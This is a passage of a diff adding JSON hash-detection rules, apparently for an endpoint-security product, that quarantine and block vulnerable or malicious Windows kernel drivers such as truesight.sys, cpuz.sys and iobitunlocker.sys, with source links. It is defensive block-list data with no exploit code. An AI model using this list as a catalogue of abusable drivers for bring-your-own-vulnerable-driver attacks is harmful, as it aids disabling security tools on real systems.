+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4b587255-617f-5ebf-9419-0811f20c50ad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481204Z",
+  "creation_date": "2026-03-23T11:45:30.481206Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481211Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5dc477cc45e4c1421296373adef9f5795fb9f5035f1400c72bb37678ad7f8954",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4b67b1f3-b108-5fe5-8bf5-657ec0f2523c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817444Z",
+  "creation_date": "2026-03-23T11:45:31.817446Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817452Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c4c934b9604efe82b1cdb01837be62bc392988c0a975fe3945865e7463a49950",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4b7105fc-3403-5c76-8a67-812f3382e625",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810698Z",
+  "creation_date": "2026-03-23T11:45:31.810700Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810706Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "146b7aa22d47b0585c5f6a41b4ca8acff056d26fa62304675199195cd62a40c4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4b75725f-9d4a-5ce7-840b-84d7f0cc8fa0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813561Z",
+  "creation_date": "2026-03-23T11:45:31.813564Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813573Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "045ac1a3b28a774ae92fc318b0370d3426a5db7d942e5113897ede9ec85888a4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4b80c240-d123-5a8b-8047-f3850b64d962",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975956Z",
+  "creation_date": "2026-03-23T11:45:29.975958Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975964Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "251be949f662c838718f8aa0a5f8211fb90346d02bd63ff91e6b224e0e01b656",
+  "comment": "SystemInformer driver (aka systeminformer.sys, formerly known as kprocesshacker.sys) [https://github.com/winsiderss/systeminformer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4b81ff99-5324-5f0c-a0c5-ad2246319012",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491920Z",
+  "creation_date": "2026-03-23T11:45:31.491922Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491928Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c845b52bef8193d0187db0e1608f65807b46354fdd15a68fa2eca0a1462bcf2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4b92336f-68d4-5aff-98b2-64e1481e7a68",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456364Z",
+  "creation_date": "2026-03-23T11:45:30.456367Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456376Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0aff83f28d70f425539fee3d6a780210d0406264f8a4eb124e32b074e8ffd556",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4b9323ef-6313-597b-b1c3-222e2908f2a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472531Z",
+  "creation_date": "2026-03-23T11:45:30.472534Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472543Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d0543f0fdc589c921b47877041f01b17a534c67dcc7c5ad60beba8cf7e7bc9c6",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4b9a7ee2-af18-5ca6-a77e-549b32760fc4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474769Z",
+  "creation_date": "2026-03-23T11:45:30.474772Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474781Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bedb25c95cead7deb60ef18c753b65131d9b7dcd13846f09b011060042586213",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4ba330da-f486-56c3-a23b-ee1132d31427",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973199Z",
+  "creation_date": "2026-03-23T11:45:29.973201Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973206Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "911541d26b605a97ba099563b9eb7e027c102f139dba5884a57df5a13cf3dcef",
+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4ba8babe-5961-5ccf-881d-7aed197ac336",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985759Z",
+  "creation_date": "2026-03-23T11:45:29.985761Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985766Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4cfd9cb41a51b1e1fdfc9a6855323bf11a0baf18e5d8f0ee7480a8cb5be7c8ac",
+  "comment": "Malicious Kernel Driver (aka malicious.sys) [https://github.com/zeze-zeze/CYBERSEC2023-BYOVD-Demo] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4bbecbf8-c13c-5415-a5c7-60f788426a9a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156997Z",
+  "creation_date": "2026-03-23T11:45:31.156999Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157004Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ca407794a31a010d4cad09311293244c19607ac903d7c06c4e85e5e452af300",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4bc18ecb-5e36-5ec2-8c56-04096fed71a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476554Z",
+  "creation_date": "2026-03-23T11:45:30.476558Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476567Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ae85245fcb873d6fbf61f1923b8c10f0680abeaf2bf5527aef1c4a52aae321d0",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4bc21be2-c347-5872-b3f0-85636c24a00c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482058Z",
+  "creation_date": "2026-03-23T11:45:31.482061Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482072Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "27576ab7a5003133e73f00e870ea29ba6fa07f886f56f9377df2fc02640dd6b4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4bc4daf3-3cf9-5b5d-8177-ea685cb64019",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495261Z",
+  "creation_date": "2026-03-23T11:45:31.495264Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495272Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c74d5481c6de4b5020637777fd8ee8bf5d9a97bcfe15159594ae7af949a46e1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4bc87a01-5524-57e3-a5ee-19b10f1f013a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144092Z",
+  "creation_date": "2026-03-23T11:45:32.144094Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144100Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3855b2df32e0eedec454b25e6e2da6b3df19c4b0f575e45bc06482d4ebce7551",
+  "comment": "Malicious Kernel Driver (aka idmtdi.sys) [https://www.loldrivers.io/drivers/c2e98102-2055-48f0-9449-3e7a7f2c0ffe/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4bd8e88e-50de-5d20-9b51-c5ae8cb2a7f8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832223Z",
+  "creation_date": "2026-03-23T11:45:30.832225Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832231Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2511804c17a1224866da91f3b65105acbcb11e7b7b1fcc1e29609194a95df406",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4bdf2800-5255-50dd-9855-5b79ff1f718c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160363Z",
+  "creation_date": "2026-03-23T11:45:31.160365Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160370Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "88bcd2c1f5e17bee1a61bdc85d7226ee5e90c7728460e83df3108ccb5158bddb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4bede8e0-e151-52ed-bb67-75c6633c271f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826156Z",
+  "creation_date": "2026-03-23T11:45:31.826158Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826163Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7ba13222e25b49a99d01019af0f1378b0003cd71ae72b1ec7f512b269e86ec83",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4bf060b2-e23f-5480-be63-6f8ed10409ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809494Z",
+  "creation_date": "2026-03-23T11:45:31.809496Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809504Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "afce06fe02c7c628be20bb7dd578659e94032a21f29ba7355a82381a3470c714",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4bf11efa-0f09-51b7-8ce3-5bfb70b71d45",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828654Z",
+  "creation_date": "2026-03-23T11:45:31.828656Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828662Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4bbf8808277c2ef684de28e5bae57b9e230203b6b2cb66539cabdba0b0ecfad8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4bf54704-8255-512c-8fd5-e9955052c367",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478800Z",
+  "creation_date": "2026-03-23T11:45:30.478804Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478813Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0e121d80264c51df9a6fca2f2201d75ccd4dc29d9566bbf0975bb05759e9c6c7",
+  "comment": "Vulnerable Kernel Driver (aka Tmel.sys) [https://www.loldrivers.io/drivers/1aeb1205-8b02-42b6-a563-b953ea337c19/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4c13e5ba-205d-5f87-8372-56794702a727",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
